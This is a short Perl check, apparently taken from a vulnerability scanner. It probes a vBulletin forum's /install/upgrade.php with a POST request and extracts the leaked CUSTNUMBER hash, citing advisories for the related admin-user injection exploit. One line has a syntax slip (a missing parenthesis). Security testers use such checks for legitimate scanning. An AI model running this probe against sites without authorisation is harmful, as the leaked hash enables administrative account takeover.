#start vBulletin '/install/upgrade.php' Security Bypass Vulnerability
use LWP::UserAgent;
use HTTP::Request::Common;
dprint("Checking for upgrade.php vulnerablity";

$url = "$target/install/upgrade.php";
$lwp = LWP::UserAgent->new();
$lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8");
$request = $lwp->post($url, ["searchHash" => "Search"]);

if ($request->content =~ /CUSTNUMBER = \"(.+)\";/)
{
    tprint("upgrade.php is vulnerable\nhttp://www.securityfocus.com/bid/62909 \nhttp://thehackerspost.com/2013/09/vbulletin-4-1-x-5-x-x-0day-exploit-released-1337-hacker.html\nhttps://packetstormsecurity.com/files/123811/vBulletin-4.1.x-5.x.x-Administrative-User-Injection.html\n path : $target/install/upgrade.php\n CUSTNUMBER Hash : $1");
} else {
    fprint("upgrade.php is not vulnerable");
}

#end vBulletin '/install/upgrade.php' Security Bypass Vulnerability
